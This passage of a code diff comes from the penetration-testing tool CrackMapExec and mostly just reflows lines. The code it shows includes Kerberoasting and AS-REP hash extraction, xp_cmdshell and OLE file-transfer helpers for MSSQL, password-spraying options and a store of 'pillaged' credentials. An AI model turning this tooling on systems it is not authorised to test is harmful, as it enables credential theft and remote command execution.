cache_computers=do_computer_enum,
)
# Initialize enumerator
membership_enum = MembershipEnumerator(
self.ad, self.pdc, collect, disable_pooling
)
membership_enum = MembershipEnumerator(self.ad, self.pdc, collect, disable_pooling)
membership_enum.enumerate_memberships(timestamp=timestamp)
elif "container" in collect:
# Fetch domains for later, computers if needed
@ -99,16 +91,12 @@ class BloodHound(object):
cache_computers=do_computer_enum,
)
# Initialize enumerator
membership_enum = MembershipEnumerator(
self.ad, self.pdc, collect, disable_pooling
)
membership_enum = MembershipEnumerator(self.ad, self.pdc, collect, disable_pooling)
membership_enum.do_container_collection(timestamp=timestamp)
elif do_computer_enum:
# We need to know which computers to query regardless
# We also need the domains to have a mapping from NETBIOS -> FQDN for local admins
self.pdc.prefetch_info(
"objectprops" in collect, "acl" in collect, cache_computers=True
)
self.pdc.prefetch_info("objectprops" in collect, "acl" in collect, cache_computers=True)
elif "trusts" in collect:
# Prefetch domains
self.pdc.get_domains("acl" in collect)
@ -126,9 +114,7 @@ class BloodHound(object):
computerfile=computerfile,
exclude_dcs=exclude_dcs,
)
computer_enum.enumerate_computers(
self.ad.computers, num_workers=num_workers, timestamp=timestamp
)
computer_enum.enumerate_computers(self.ad.computers, num_workers=num_workers, timestamp=timestamp)
end_time = time.time()
minutes, seconds = divmod(int(end_time - start_time), 60)
self.logger.highlight("Done in %02dM %02dS" % (minutes, seconds))

View File

@ -47,19 +47,10 @@ class database:
def reflect_tables(self):
with self.db_engine.connect() as conn:
try:
self.CredentialsTable = Table(
"credentials", self.metadata, autoload_with=self.db_engine
)
self.HostsTable = Table(
"hosts", self.metadata, autoload_with=self.db_engine
)
self.CredentialsTable = Table("credentials", self.metadata, autoload_with=self.db_engine)
self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine)
except (NoInspectionAvailable, NoSuchTableError):
print(
"[-] Error reflecting tables - this means there is a DB schema mismatch \n"
"[-] This is probably because a newer version of CME is being ran on an old DB schema\n"
"[-] If you wish to save the old DB data, copy it to a new location (`cp -r ~/.cme/workspaces/ ~/old_cme_workspaces/`)\n"
"[-] Then remove the CME DB folders (`rm -rf ~/.cme/workspaces/`) and rerun CME to initialize the new DB schema"
)
print("[-] Error reflecting tables - this means there is a DB schema mismatch \n" "[-] This is probably because a newer version of CME is being ran on an old DB schema\n" "[-] If you wish to save the old DB data, copy it to a new location (`cp -r ~/.cme/workspaces/ ~/old_cme_workspaces/`)\n" "[-] Then remove the CME DB folders (`rm -rf ~/.cme/workspaces/`) and rerun CME to initialize the new DB schema")
exit()
def shutdown_db(self):

View File

@ -6,12 +6,7 @@ from cme.cmedb import DatabaseNavigator, print_help
class navigator(DatabaseNavigator):
def do_clear_database(self, line):
if (
input(
"This will destroy all data in the current database, are you SURE you want to run this? (y/n): "
)
== "y"
):
if input("This will destroy all data in the current database, are you SURE you want to run this? (y/n): ") == "y":
self.db.clear_database()
def help_clear_database(self):

View File

@ -28,20 +28,9 @@ class MSDS_MANAGEDPASSWORD_BLOB(Structure):
else:
endData = self["PreviousPasswordOffset"]
self["CurrentPassword"] = self.rawData[self["CurrentPasswordOffset"] :][
: endData - self["CurrentPasswordOffset"]
]
self["CurrentPassword"] = self.rawData[self["CurrentPasswordOffset"] :][: endData - self["CurrentPasswordOffset"]]
if self["PreviousPasswordOffset"] != 0:
self["PreviousPassword"] = self.rawData[self["PreviousPasswordOffset"] :][
: self["QueryPasswordIntervalOffset"] - self["PreviousPasswordOffset"]
]
self["PreviousPassword"] = self.rawData[self["PreviousPasswordOffset"] :][: self["QueryPasswordIntervalOffset"] - self["PreviousPasswordOffset"]]
self["QueryPasswordInterval"] = self.rawData[
self["QueryPasswordIntervalOffset"] :
][
: self["UnchangedPasswordIntervalOffset"]
- self["QueryPasswordIntervalOffset"]
]
self["UnchangedPasswordInterval"] = self.rawData[
self["UnchangedPasswordIntervalOffset"] :
]
self["QueryPasswordInterval"] = self.rawData[self["QueryPasswordIntervalOffset"] :][: self["UnchangedPasswordIntervalOffset"] - self["QueryPasswordIntervalOffset"]]
self["UnchangedPasswordInterval"] = self.rawData[self["UnchangedPasswordIntervalOffset"] :]

View File

@ -65,76 +65,44 @@ class KerberosAttacks:
# Regarding AES encryption type (AES128 CTS HMAC-SHA1 96 and AES256 CTS HMAC-SHA1 96)
# last 12 bytes of the encrypted ticket represent the checksum of the decrypted
# ticket
if (
decodedTGS["ticket"]["enc-part"]["etype"]
== constants.EncryptionTypes.rc4_hmac.value
):
if decodedTGS["ticket"]["enc-part"]["etype"] == constants.EncryptionTypes.rc4_hmac.value:
entry = "$krb5tgs$%d$*%s$%s$%s*$%s$%s" % (
constants.EncryptionTypes.rc4_hmac.value,
username,
decodedTGS["ticket"]["realm"],
spn.replace(":", "~"),
hexlify(
decodedTGS["ticket"]["enc-part"]["cipher"][:16].asOctets()
).decode(),
hexlify(
decodedTGS["ticket"]["enc-part"]["cipher"][16:].asOctets()
).decode(),
hexlify(decodedTGS["ticket"]["enc-part"]["cipher"][:16].asOctets()).decode(),
hexlify(decodedTGS["ticket"]["enc-part"]["cipher"][16:].asOctets()).decode(),
)
elif (
decodedTGS["ticket"]["enc-part"]["etype"]
== constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value
):
elif decodedTGS["ticket"]["enc-part"]["etype"] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value:
entry = "$krb5tgs$%d$%s$%s$*%s*$%s$%s" % (
constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value,
username,
decodedTGS["ticket"]["realm"],
spn.replace(":", "~"),
hexlify(
decodedTGS["ticket"]["enc-part"]["cipher"][-12:].asOctets()
).decode(),
hexlify(
decodedTGS["ticket"]["enc-part"]["cipher"][:-12:].asOctets()
).decode,
hexlify(decodedTGS["ticket"]["enc-part"]["cipher"][-12:].asOctets()).decode(),
hexlify(decodedTGS["ticket"]["enc-part"]["cipher"][:-12:].asOctets()).decode,
)
elif (
decodedTGS["ticket"]["enc-part"]["etype"]
== constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value
):
elif decodedTGS["ticket"]["enc-part"]["etype"] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value:
entry = "$krb5tgs$%d$%s$%s$*%s*$%s$%s" % (
constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value,
username,
decodedTGS["ticket"]["realm"],
spn.replace(":", "~"),
hexlify(
decodedTGS["ticket"]["enc-part"]["cipher"][-12:].asOctets()
).decode(),
hexlify(
decodedTGS["ticket"]["enc-part"]["cipher"][:-12:].asOctets()
).decode(),
hexlify(decodedTGS["ticket"]["enc-part"]["cipher"][-12:].asOctets()).decode(),
hexlify(decodedTGS["ticket"]["enc-part"]["cipher"][:-12:].asOctets()).decode(),
)
elif (
decodedTGS["ticket"]["enc-part"]["etype"]
== constants.EncryptionTypes.des_cbc_md5.value
):
elif decodedTGS["ticket"]["enc-part"]["etype"] == constants.EncryptionTypes.des_cbc_md5.value:
entry = "$krb5tgs$%d$*%s$%s$%s*$%s$%s" % (
constants.EncryptionTypes.des_cbc_md5.value,
username,
decodedTGS["ticket"]["realm"],
spn.replace(":", "~"),
hexlify(
decodedTGS["ticket"]["enc-part"]["cipher"][:16].asOctets()
).decode(),
hexlify(
decodedTGS["ticket"]["enc-part"]["cipher"][16:].asOctets()
).decode(),
hexlify(decodedTGS["ticket"]["enc-part"]["cipher"][:16].asOctets()).decode(),
hexlify(decodedTGS["ticket"]["enc-part"]["cipher"][16:].asOctets()).decode(),
)
else:
cme_logger.error(
"Skipping"
f" {decodedTGS['ticket']['sname']['name-string'][0]}/{decodedTGS['ticket']['sname']['name-string'][1]} due"
f" to incompatible e-type {decodedTGS['ticket']['enc-part']['etype']:d}"
)
cme_logger.error("Skipping" f" {decodedTGS['ticket']['sname']['name-string'][0]}/{decodedTGS['ticket']['sname']['name-string'][1]} due" f" to incompatible e-type {decodedTGS['ticket']['enc-part']['etype']:d}")
return entry
@ -160,9 +128,7 @@ class KerberosAttacks:
pass
# No TGT in cache, request it
userName = Principal(
self.username, type=constants.PrincipalNameType.NT_PRINCIPAL.value
)
userName = Principal(self.username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
# In order to maximize the probability of getting session tickets with RC4 etype, we will convert the
# password to ntlm hashes (that will force to use RC4 for the TGT). If that doesn't work, we use the
@ -209,16 +175,12 @@ class KerberosAttacks:
return TGT
def getTGT_asroast(self, userName, requestPAC=True):
clientName = Principal(
userName, type=constants.PrincipalNameType.NT_PRINCIPAL.value
)
clientName = Principal(userName, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
asReq = AS_REQ()
domain = self.targetDomain.upper()
serverName = Principal(
"krbtgt/%s" % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value
)
serverName = Principal("krbtgt/%s" % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
pacRequest = KERB_PA_PAC_REQUEST()
pacRequest["include-pac"] = requestPAC
@ -229,9 +191,7 @@ class KerberosAttacks:
asReq["padata"] = noValue
asReq["padata"][0] = noValue
asReq["padata"][0]["padata-type"] = int(
constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value
)
asReq["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
asReq["padata"][0]["padata-value"] = encodedPacRequest
reqBody = seq_set(asReq, "req-body")
@ -274,11 +234,7 @@ class KerberosAttacks:
message = encoder.encode(asReq)
r = sendReceive(message, domain, self.kdcHost)
elif e.getErrorCode() == constants.ErrorCodes.KDC_ERR_KEY_EXPIRED.value:
return (
"Password of user "
+ userName
+ " expired but user doesn't require pre-auth"
)
return "Password of user " + userName + " expired but user doesn't require pre-auth"
else:
cme_logger.debug(e)
return False
@ -292,9 +248,7 @@ class KerberosAttacks:
asRep = decoder.decode(r, asn1Spec=AS_REP())[0]
else:
# The user doesn't have UF_DONT_REQUIRE_PREAUTH set
cme_logger.debug(
"User %s doesn't have UF_DONT_REQUIRE_PREAUTH set" % userName
)
cme_logger.debug("User %s doesn't have UF_DONT_REQUIRE_PREAUTH set" % userName)
return
# Let's output the TGT enc-part/cipher in Hashcat format, in case somebody wants to use it.

View File

@ -27,9 +27,7 @@ class LDAPConnect:
self.proto_logger(host, port, hostname)
def proto_logger(self, host, port, hostname):
self.logger = CMEAdapter(
extra={"protocol": "LDAP", "host": host, "port": port, "hostname": hostname}
)
self.logger = CMEAdapter(extra={"protocol": "LDAP", "host": host, "port": port, "hostname": hostname})
def kerberos_login(
self,
@ -82,9 +80,7 @@ class LDAPConnect:
if str(e).find("strongerAuthRequired") >= 0:
# We need to try SSL
try:
ldapConnection = ldap_impacket.LDAPConnection(
f"ldaps://{kdcHost}", baseDN
)
ldapConnection = ldap_impacket.LDAPConnection(f"ldaps://{kdcHost}", baseDN)
ldapConnection.login(
username,
password,
@ -114,9 +110,7 @@ class LDAPConnect:
return False
except OSError as e:
self.logger.debug(
f"{domain}\\{username}:{password if password else ntlm_hash} {'Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller'}"
)
self.logger.debug(f"{domain}\\{username}:{password if password else ntlm_hash} {'Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller'}")
return False
except KerberosError as e:
self.logger.fail(
@ -144,9 +138,7 @@ class LDAPConnect:
baseDN = baseDN[:-1]
try:
ldapConnection = ldap_impacket.LDAPConnection(
f"ldap://{domain}", baseDN, domain
)
ldapConnection = ldap_impacket.LDAPConnection(f"ldap://{domain}", baseDN, domain)
ldapConnection.login(username, password, domain, lmhash, nthash)
# Connect to LDAP
@ -161,9 +153,7 @@ class LDAPConnect:
if str(e).find("strongerAuthRequired") >= 0:
# We need to try SSL
try:
ldapConnection = ldap_impacket.LDAPConnection(
f"ldaps://{domain}", baseDN, domain
)
ldapConnection = ldap_impacket.LDAPConnection(f"ldaps://{domain}", baseDN, domain)
ldapConnection.login(username, password, domain, lmhash, nthash)
self.logger.extra["protocol"] = "LDAPS"
self.logger.extra["port"] = "636"
@ -184,7 +174,5 @@ class LDAPConnect:
return False
except OSError as e:
self.logger.debug(
f"{domain}\\{username}:{password if password else ntlm_hash} {'Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller'}"
)
self.logger.debug(f"{domain}\\{username}:{password if password else ntlm_hash} {'Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller'}")
return False

View File

@ -40,13 +40,9 @@ class mssql(connection):
@staticmethod
def proto_args(parser, std_parser, module_parser):
mssql_parser = parser.add_parser(
"mssql", help="own stuff using MSSQL", parents=[std_parser, module_parser]
)
mssql_parser = parser.add_parser("mssql", help="own stuff using MSSQL", parents=[std_parser, module_parser])
dgroup = mssql_parser.add_mutually_exclusive_group()
dgroup.add_argument(
"-d", metavar="DOMAIN", dest="domain", type=str, help="domain name"
)
dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, help="domain name")
dgroup.add_argument(
"--local-auth",
action="store_true",
@ -87,17 +83,13 @@ class mssql(connection):
help="continues authentication attempts even after successes",
)
cgroup = mssql_parser.add_argument_group(
"Command Execution", "options for executing commands"
)
cgroup = mssql_parser.add_argument_group("Command Execution", "options for executing commands")
cgroup.add_argument(
"--force-ps32",
action="store_true",
help="force the PowerShell command to run in a 32-bit process",
)
cgroup.add_argument(
"--no-output", action="store_true", help="do not retrieve command output"
)
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
xgroup = cgroup.add_mutually_exclusive_group()
xgroup.add_argument(
"-x",
@ -112,21 +104,15 @@ class mssql(connection):
help="execute the specified PowerShell command",
)
psgroup = mssql_parser.add_argument_group(
"Powershell Obfuscation", "Options for PowerShell script obfuscation"
)
psgroup.add_argument(
"--obfs", action="store_true", help="Obfuscate PowerShell scripts"
)
psgroup = mssql_parser.add_argument_group("Powershell Obfuscation", "Options for PowerShell script obfuscation")
psgroup.add_argument("--obfs", action="store_true", help="Obfuscate PowerShell scripts")
psgroup.add_argument(
"--clear-obfscripts",
action="store_true",
help="Clear all cached obfuscated PowerShell scripts",
)
tgroup = mssql_parser.add_argument_group(
"Files", "Options for put and get remote files"
)
tgroup = mssql_parser.add_argument_group("Files", "Options for put and get remote files")
tgroup.add_argument(
"--put-file",
nargs=2,
@ -198,9 +184,7 @@ class mssql(connection):
if self.args.local_auth:
self.domain = self.hostname
except Exception as e:
self.logger.fail(
f"Error retrieving host domain: {e} specify one manually with the '-d' flag"
)
self.logger.fail(f"Error retrieving host domain: {e} specify one manually with the '-d' flag")
self.mssql_instances = self.conn.getInstances(0)
self.db.add_host(
@ -217,9 +201,7 @@ class mssql(connection):
pass
def print_host_info(self):
self.logger.display(
f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})"
)
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})")
# if len(self.mssql_instances) > 0:
# self.logger.display("MSSQL DB Instances: {}".format(len(self.mssql_instances)))
# for i, instance in enumerate(self.mssql_instances):
@ -313,19 +295,8 @@ class mssql(connection):
f"{domain}\\" if not self.args.local_auth else "",
username,
# Show what was used between cleartext, nthash, aesKey and ccache
" from ccache"
if useCache
else ":%s"
% (
kerb_pass
if not self.config.get("CME", "audit_mode")
else self.config.get("CME", "audit_mode") * 8
),
highlight(
f'({self.config.get("CME", "pwn3d_label")})'
if self.admin_privs
else ""
),
" from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get("CME", "audit_mode") else self.config.get("CME", "audit_mode") * 8),
highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else ""),
)
self.logger.success(out)
if not self.args.local_auth:
@ -337,9 +308,7 @@ class mssql(connection):
"{}\\{}{} {}".format(
f"{domain}\\" if not self.args.local_auth else "",
username,
" from ccache"
if useCache
else f":{kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8}",
" from ccache" if useCache else f":{kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8}",
e,
)
)
@ -356,9 +325,7 @@ class mssql(connection):
# this is to prevent a decoding issue in impacket/ntlm.py:617 where it attempts to decode the domain
if not domain:
domain = ""
res = self.conn.login(
None, username, password, domain, None, not self.args.local_auth
)
res = self.conn.login(None, username, password, domain, None, not self.args.local_auth)
if res is not True:
self.conn.printReplies()
return False
@ -370,19 +337,13 @@ class mssql(connection):
self.db.add_credential("plaintext", domain, username, password)
if self.admin_privs:
self.db.add_admin_user(
"plaintext", domain, username, password, self.host
)
self.db.add_admin_user("plaintext", domain, username, password, self.host)
out = "{}{}:{} {}".format(
f"{domain}\\" if not self.args.local_auth else "",
username,
process_secret(password),
highlight(
f'({self.config.get("CME", "pwn3d_label")})'
if self.admin_privs
else ""
),
highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else ""),
)
self.logger.success(out)
if not self.args.local_auth:
@ -438,11 +399,7 @@ class mssql(connection):
domain,
username,
process_secret(ntlm_hash),
highlight(
f'({self.config.get("CME", "pwn3d_label")})'
if self.admin_privs
else ""
),
highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else ""),
)
self.logger.success(out)
if not self.args.local_auth:
@ -506,9 +463,7 @@ class mssql(connection):
get_output = True
# We're disabling PS obfuscation by default as it breaks the MSSQLEXEC execution method
ps_command = create_ps_command(
payload, force_ps32=force_ps32, dont_obfs=dont_obfs
)
ps_command = create_ps_command(payload, force_ps32=force_ps32, dont_obfs=dont_obfs)
return self.execute(ps_command, get_output)
@requires_admin
@ -523,9 +478,7 @@ class mssql(connection):
if exec_method.file_exists(self.args.put_file[1]):
self.logger.success("File has been uploaded on the remote machine")
else:
self.logger.fail(
"File does not exist on the remote system... error during upload"
)
self.logger.fail("File does not exist on the remote system... error during upload")
except Exception as e:
self.logger.fail(f"Error during upload : {e}")
@ -535,9 +488,7 @@ class mssql(connection):
try:
exec_method = MSSQLEXEC(self.conn)
exec_method.get_file(self.args.get_file[0], self.args.get_file[1])
self.logger.success(
f"File {self.args.get_file[0]} was transferred to {self.args.get_file[1]}"
)
self.logger.success(f"File {self.args.get_file[0]} was transferred to {self.args.get_file[1]}")
except Exception as e:
self.logger.fail(f"Error reading file {self.args.get_file[0]}: {e}")
@ -548,20 +499,14 @@ class mssql(connection):
for i, key in enumerate(self.replies[keys]):
if key["TokenType"] == TDS_ERROR_TOKEN:
error = f"ERROR({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}"
self.lastError = SQLErrorException(
f"ERROR: Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}"
)
self.lastError = SQLErrorException(f"ERROR: Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}")
self._MSSQL__rowsPrinter.error(error)
elif key["TokenType"] == TDS_INFO_TOKEN:
self._MSSQL__rowsPrinter.info(
f"INFO({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}"
)
self._MSSQL__rowsPrinter.info(f"INFO({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}")
elif key["TokenType"] == TDS_LOGINACK_TOKEN:
self._MSSQL__rowsPrinter.info(
f"ACK: Result: {key['Interface']} - {key['ProgName'].decode('utf-16le')} ({key['MajorVer']:d}{key['MinorVer']:d} {key['BuildNumHi']:d}{key['BuildNumLow']:d}) "
)
self._MSSQL__rowsPrinter.info(f"ACK: Result: {key['Interface']} - {key['ProgName'].decode('utf-16le')} ({key['MajorVer']:d}{key['MinorVer']:d} {key['BuildNumHi']:d}{key['BuildNumLow']:d}) ")
elif key["TokenType"] == TDS_ENVCHANGE_TOKEN:
if key["Type"] in (
@ -585,8 +530,6 @@ class mssql(connection):
_type = "PACKETSIZE"
else:
_type = f"{key['Type']:d}"
self._MSSQL__rowsPrinter.info(
f"ENVCHANGE({_type}): Old Value: {record['OldValue'].decode('utf-16le')}, New Value: {record['NewValue'].decode('utf-16le')}"
)
self._MSSQL__rowsPrinter.info(f"ENVCHANGE({_type}): Old Value: {record['OldValue'].decode('utf-16le')}, New Value: {record['NewValue'].decode('utf-16le')}")
tds.MSSQL.printReplies = printRepliesCME

View File

@ -70,22 +70,11 @@ class database:
def reflect_tables(self):
with self.db_engine.connect() as conn:
try:
self.HostsTable = Table(
"hosts", self.metadata, autoload_with=self.db_engine
)
self.UsersTable = Table(
"users", self.metadata, autoload_with=self.db_engine
)
self.AdminRelationsTable = Table(
"admin_relations", self.metadata, autoload_with=self.db_engine
)
self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine)
self.UsersTable = Table("users", self.metadata, autoload_with=self.db_engine)
self.AdminRelationsTable = Table("admin_relations", self.metadata, autoload_with=self.db_engine)
except (NoInspectionAvailable, NoSuchTableError):
print(
"[-] Error reflecting tables - this means there is a DB schema mismatch \n"
"[-] This is probably because a newer version of CME is being ran on an old DB schema\n"
"[-] If you wish to save the old DB data, copy it to a new location (`cp -r ~/.cme/workspaces/ ~/old_cme_workspaces/`)\n"
"[-] Then remove the CME DB folders (`rm -rf ~/.cme/workspaces/`) and rerun CME to initialize the new DB schema"
)
print("[-] Error reflecting tables - this means there is a DB schema mismatch \n" "[-] This is probably because a newer version of CME is being ran on an old DB schema\n" "[-] If you wish to save the old DB data, copy it to a new location (`cp -r ~/.cme/workspaces/ ~/old_cme_workspaces/`)\n" "[-] Then remove the CME DB folders (`rm -rf ~/.cme/workspaces/`) and rerun CME to initialize the new DB schema")
exit()
def shutdown_db(self):
@ -148,9 +137,7 @@ class database:
# TODO: find a way to abstract this away to a single Upsert call
q = Insert(self.HostsTable)
update_columns = {col.name: col for col in q.excluded if col.name not in "id"}
q = q.on_conflict_do_update(
index_elements=self.HostsTable.primary_key, set_=update_columns
)
q = q.on_conflict_do_update(index_elements=self.HostsTable.primary_key, set_=update_columns)
self.conn.execute(q, hosts)
def add_credential(self, credtype, domain, username, password, pillaged_from=None):
@ -187,23 +174,17 @@ class database:
"credtype": credtype,
"pillaged_from_hostid": pillaged_from,
}
q = insert(self.UsersTable).values(
user_data
) # .returning(self.UsersTable.c.id)
q = insert(self.UsersTable).values(user_data) # .returning(self.UsersTable.c.id)
self.conn.execute(q) # .first()
else:
for user in results:
# might be able to just remove this if check, but leaving it in for now
if not user[3] and not user[4] and not user[5]:
q = update(self.UsersTable).values(
credential_data
) # .returning(self.UsersTable.c.id)
q = update(self.UsersTable).values(credential_data) # .returning(self.UsersTable.c.id)
results = self.conn.execute(q) # .first()
# user_rowid = results.id
cme_logger.debug(
f"add_credential(credtype={credtype}, domain={domain}, username={username}, password={password}, pillaged_from={pillaged_from})"
)
cme_logger.debug(f"add_credential(credtype={credtype}, domain={domain}, username={username}, password={password}, pillaged_from={pillaged_from})")
return user_rowid
def remove_credentials(self, creds_id):
@ -254,13 +235,9 @@ class database:
def get_admin_relations(self, user_id=None, host_id=None):
if user_id:
q = select(self.AdminRelationsTable).filter(
self.AdminRelationsTable.c.userid == user_id
)
q = select(self.AdminRelationsTable).filter(self.AdminRelationsTable.c.userid == user_id)
elif host_id:
q = select(self.AdminRelationsTable).filter(
self.AdminRelationsTable.c.hostid == host_id
)
q = select(self.AdminRelationsTable).filter(self.AdminRelationsTable.c.hostid == host_id)
else:
q = select(self.AdminRelationsTable)
@ -300,9 +277,7 @@ class database:
# if we're filtering by username
elif filter_term and filter_term != "":
like_term = func.lower(f"%{filter_term}%")
q = select(self.UsersTable).filter(
func.lower(self.UsersTable.c.username).like(like_term)
)
q = select(self.UsersTable).filter(func.lower(self.UsersTable.c.username).like(like_term))
# otherwise return all credentials
else:
q = select(self.UsersTable)
@ -338,10 +313,7 @@ class database:
# if we're filtering by ip/hostname
elif filter_term and filter_term != "":
like_term = func.lower(f"%{filter_term}%")
q = select(self.HostsTable).filter(
self.HostsTable.c.ip.like(like_term)
| func.lower(self.HostsTable.c.hostname).like(like_term)
)
q = select(self.HostsTable).filter(self.HostsTable.c.ip.like(like_term) | func.lower(self.HostsTable.c.hostname).like(like_term))
results = self.conn.execute(q).all()
return results

View File

@ -130,12 +130,7 @@ class navigator(DatabaseNavigator):
print_table(data, title="Admin Access to Host(s)")
def do_clear_database(self, line):
if (
input(
"This will destroy all data in the current database, are you SURE you want to run this? (y/n): "
)
== "y"
):
if input("This will destroy all data in the current database, are you SURE you want to run this? (y/n): ") == "y":
self.db.clear_database()
@staticmethod

View File

@ -24,9 +24,7 @@ class MSSQLEXEC:
continue
command_output.append(row["output"])
except Exception as e:
cme_logger.error(
f"Error when attempting to execute command via xp_cmdshell: {e}"
)
cme_logger.error(f"Error when attempting to execute command via xp_cmdshell: {e}")
if output:
cme_logger.debug(f"Output is enabled")
@ -41,64 +39,41 @@ class MSSQLEXEC:
try:
self.disable_xp_cmdshell()
except Exception as e:
cme_logger.error(
f"[OPSEC] Error when attempting to disable xp_cmdshell: {e}"
)
cme_logger.error(f"[OPSEC] Error when attempting to disable xp_cmdshell: {e}")
return command_output
# return self.outputBuffer
def enable_xp_cmdshell(self):
self.mssql_conn.sql_query(
"exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;"
)
self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;")
def disable_xp_cmdshell(self):
self.mssql_conn.sql_query(
"exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;"
)
self.mssql_conn.sql_query("exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;")
def enable_ole(self):
self.mssql_conn.sql_query(
"exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 1;RECONFIGURE;"
)
self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 1;RECONFIGURE;")
def disable_ole(self):
self.mssql_conn.sql_query(
"exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 0;RECONFIGURE;"
)
self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 0;RECONFIGURE;")
def put_file(self, data, remote):
try:
self.enable_ole()
hexdata = data.hex()
self.mssql_conn.sql_query(
"DECLARE @ob INT;"
"EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT;"
"EXEC sp_OASetProperty @ob, 'Type', 1;"
"EXEC sp_OAMethod @ob, 'Open';"
"EXEC sp_OAMethod @ob, 'Write', NULL, 0x{};"
"EXEC sp_OAMethod @ob, 'SaveToFile', NULL, '{}', 2;"
"EXEC sp_OAMethod @ob, 'Close';"
"EXEC sp_OADestroy @ob;".format(hexdata, remote)
)
self.mssql_conn.sql_query("DECLARE @ob INT;" "EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT;" "EXEC sp_OASetProperty @ob, 'Type', 1;" "EXEC sp_OAMethod @ob, 'Open';" "EXEC sp_OAMethod @ob, 'Write', NULL, 0x{};" "EXEC sp_OAMethod @ob, 'SaveToFile', NULL, '{}', 2;" "EXEC sp_OAMethod @ob, 'Close';" "EXEC sp_OADestroy @ob;".format(hexdata, remote))
self.disable_ole()
except Exception as e:
cme_logger.debug(f"Error uploading via mssqlexec: {e}")
def file_exists(self, remote):
try:
res = self.mssql_conn.batch(
f"DECLARE @r INT; EXEC master.dbo.xp_fileexist '{remote}', @r OUTPUT; SELECT @r as n"
)[0]["n"]
res = self.mssql_conn.batch(f"DECLARE @r INT; EXEC master.dbo.xp_fileexist '{remote}', @r OUTPUT; SELECT @r as n")[0]["n"]
return res == 1
except:
return False
def get_file(self, remote, local):
try:
self.mssql_conn.sql_query(
f"SELECT * FROM OPENROWSET(BULK N'{remote}', SINGLE_BLOB) rs"
)
self.mssql_conn.sql_query(f"SELECT * FROM OPENROWSET(BULK N'{remote}', SINGLE_BLOB) rs")
data = self.mssql_conn.rows[0]["BulkColumn"]
with open(local, "wb+") as f:

View File

@ -80,9 +80,7 @@ class rdp(connection):
@staticmethod
def proto_args(parser, std_parser, module_parser):
rdp_parser = parser.add_parser(
"rdp", help="own stuff using RDP", parents=[std_parser, module_parser]
)
rdp_parser = parser.add_parser("rdp", help="own stuff using RDP", parents=[std_parser, module_parser])
rdp_parser.add_argument(
"-H",
"--hash",
@ -95,19 +93,14 @@ class rdp(connection):
rdp_parser.add_argument(
"--no-bruteforce",
action="store_true",
help=(
"No spray when using file for username and password (user1 =>"
" password1, user2 => password2"
),
help=("No spray when using file for username and password (user1 =>" " password1, user2 => password2"),
)
rdp_parser.add_argument(
"--continue-on-success",
action="store_true",
help="continues authentication attempts even after successes",
)
rdp_parser.add_argument(
"--port", type=int, default=3389, help="Custom RDP port"
)
rdp_parser.add_argument("--port", type=int, default=3389, help="Custom RDP port")
rdp_parser.add_argument(
"--rdp-timeout",
type=int,
@ -135,17 +128,13 @@ class rdp(connection):
help="authenticate locally to each target",
)
egroup = rdp_parser.add_argument_group(
"Screenshot", "Remote Desktop Screenshot"
)
egroup = rdp_parser.add_argument_group("Screenshot", "Remote Desktop Screenshot")
egroup.add_argument(
"--screenshot",
action="store_true",
help="Screenshot RDP if connection success",
)
egroup.add_argument(
"--screentime", type=int, default=10, help="Time to wait for desktop image"
)
egroup.add_argument("--screentime", type=int, default=10, help="Time to wait for desktop image")
egroup.add_argument(
"--res",
default="1024x768",
@ -176,24 +165,14 @@ class rdp(connection):
def print_host_info(self):
if self.domain is None:
self.logger.display(
